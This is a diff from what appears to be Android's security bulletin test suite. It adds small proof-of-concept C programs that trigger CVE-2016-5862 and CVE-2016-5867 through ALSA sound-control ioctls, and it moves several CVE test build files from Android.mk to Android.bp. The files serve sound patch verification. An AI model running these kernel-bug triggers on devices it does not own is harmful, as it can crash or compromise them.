 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -26,7 +25,6 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
+LOCAL_CFLAGS := -Wall -Werror
 
 include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
new file mode 100644
index 0000000..b5386e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5862
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define SPEAKER "Speaker Function"
+#define NUM_BLOCKS 16384
+
+unsigned int get_speakerid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
+                 (sizeof(SPEAKER) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_speakerid(fd);
+  if(control.id.numid == 0) {
+    close(fd);
+    return EXIT_FAILURE;
+  }
+  ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
similarity index 85%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
copy to hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
index 498e85f..d255bf4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -10,13 +10,12 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License
-
+# limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0477
+LOCAL_MODULE := CVE-2016-5867
 LOCAL_SRC_FILES := poc.c
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -26,7 +25,6 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
+LOCAL_CFLAGS := -Wall -Werror
 
 include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
new file mode 100644
index 0000000..3b8771f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5867
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define DOLBY_SET_PARAM "DS1 DAP Set Param"
+#define NUM_BLOCKS 16384
+#define DOLBY_PARAM_ID_VDHE 0x0001074D
+#define TOTAL_LENGTH_DOLBY_PARAM 745
+
+unsigned int get_doblycontrolid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
+                 (sizeof(DOLBY_SET_PARAM) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  int ret;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_doblycontrolid(fd);
+  if(control.id.numid) {
+    control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
+    control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
+    ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
+    if(ret == 0) {
+      close(fd);
+      return EXIT_VULNERABLE;
+    }
+  }
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
new file mode 100644
index 0000000..1cd33a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6730",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
deleted file mode 100644
index 8b1fac5..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6730
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
new file mode 100644
index 0000000..a0dd0d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6731",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
deleted file mode 100644
index 2bbe0a6..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6731
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
new file mode 100644
index 0000000..1340882
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6732",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
deleted file mode 100644
index 1187302..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6732
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
new file mode 100644
index 0000000..3f873b2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6733",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
deleted file mode 100644
index 90fae4e..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6733
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
new file mode 100644
index 0000000..da5a873
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6734",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
deleted file mode 100644
index ad7712d..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6734
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
new file mode 100644
index 0000000..17937c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6735",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
deleted file mode 100644
index 9c007c7..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6735
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
new file mode 100644
index 0000000..d84178b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-6736",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-label",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
deleted file mode 100644
index da7c209..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-6736
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
new file mode 100644
index 0000000..eccb0d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8425",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+        "-Wno-unused-function",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
deleted file mode 100644
index 45672f1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8425
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-function
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
new file mode 100644
index 0000000..75bf901
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8426",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
